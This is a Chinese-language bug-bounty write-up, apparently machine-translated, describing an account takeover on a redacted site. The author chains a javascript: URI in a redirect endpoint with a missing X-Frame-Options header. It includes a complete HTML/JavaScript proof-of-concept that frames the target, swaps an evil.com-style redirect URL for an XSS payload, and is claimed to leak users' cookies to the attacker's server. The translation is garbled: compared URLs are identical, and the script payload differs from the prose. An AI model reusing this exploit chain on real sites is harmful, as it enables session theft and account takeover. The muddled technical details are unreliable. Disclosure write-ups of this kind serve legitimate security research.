账户接管功能
你好,我已经很久没有分享我最近的研究/发现了,但在这篇报道中,我将分享我发现的一个漏洞,这对我来说相当有趣,可能会改变你对 "SELF XSS "的看法。
我通常,当我真的要寻找漏洞时,我会手动检查任何应用程序,如开放重定向或XSS,以找到其他黑客的非凡工具可能会忽略的参数
所以,当我通过很多不同的终端和模糊通过很多不同的参数,我没有找到任何我感兴趣的东西,因为该程序是一个4年的老程序,经过很多专业的研究人员测试,但我不知道为什么我真的想找到一个漏洞在这个目标,因为我的朋友Kartik Sharma发现了一个非常酷的存储XSS在这个目标上,这导致大规模的帐户接管ps:(拍摄他的DM和必须要求他写关于它的文章
让我们回到正题,在这个目标上来回花了很多天时间,我终于遇到了一个看起来像https://redacted.com/redirect/<url-path>的端点,这是一个简单的开放重定向,等等,甚至不是开放重定向,因为它给出了这样的警告信息
现在,出于好奇,我把端点从https://redacted.com/redirect/javascript:alert(1)改成了https://redacted.com/redirect/javascript:alert(1),然后按了继续选项,看看会发生什么,然后弹出了alert(1),如下图所示
具有挑战性的方面
但是,这里是具有挑战性的一面。为了确定,我复制了端点是https://redacted.com/redirect/javascript:alert(1),然后在不同的浏览器中打开,继续到网站的选项消失了,如下图所示
导致从这一点上看,0影响漏洞,甚至连合法的自XSS都没有。如果你不明白这种行为,让我来解释一下那些没有得到它的人,这是因为regex正在检测特殊字符,如" ' > * />,并删除继续网站选项,一旦它检测到任何特殊字符后/#redirect,这意味着我来到了像死胡同的情况。
现在,利用的部分是检查端点,即:https://redacted.com/redirect/javascript:alert(1)是否启用了X-FRAME OPTIONS,我很幸运,是的,这个端点没有启用X-FRAME OPTIONS,这意味着我可以写一个js代码,并将其托管在我的网站上,并进一步利用这个漏洞 :D 没有得到它?让我简单解释一下。
所以,我是这样做的 写了这个javascript代码,并将端点托管在我的服务器上的iframe中,由我的javascript代码控制
html
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>Changing Pages... Please Wait</title>
</head>
<body>
<iframe src="" name="frame" id="frame" width="100%" height="100%"></iframe>
<script type="text/javascript">
var frames = Array('https://redacted.com/#/redirect/https://@evil.com\\@www.redacted.com', 3,
'https://redacted.com/#/redirect/javascript:alert(document.domain)', 37);
var i = 0, len = frames.length;
function ChangeSrc()
{
document.getElementById('frame').src = frames[i++];
if (i >= len) return; // no more changing
setTimeout('ChangeSrc()', (frames[i++]*1000));
}
window.onload = ChangeSrc();
</script>
</body>
</html>
所以基本上,这个漏洞现在会利用缺失的X-Frame-Options头,允许任何页面加载到iframe中。一旦页面被加载到iframe中,我们调用ChangeSrc()函数,将有效的URL https://redacted.com/#/redirect/https:///\/@www.redacted.com替换为一个易受攻击的URL,即https://redacted.com/#/redirect/javascript:alert(document.cookie)。由于不涉及服务器端的交互,并且URL在页面加载后被替换,当点击继续按钮时,我们可以看到XSS有效载荷与用户的cookie一起被发射(如下图所示)。
现在,这创造了一个影响的方式,这意味着当一个认证用户访问我的托管服务器,他/她的认证cookie将弹出,并将被发送到我的服务器,这意味着帐户接管redacted.com的任何用户。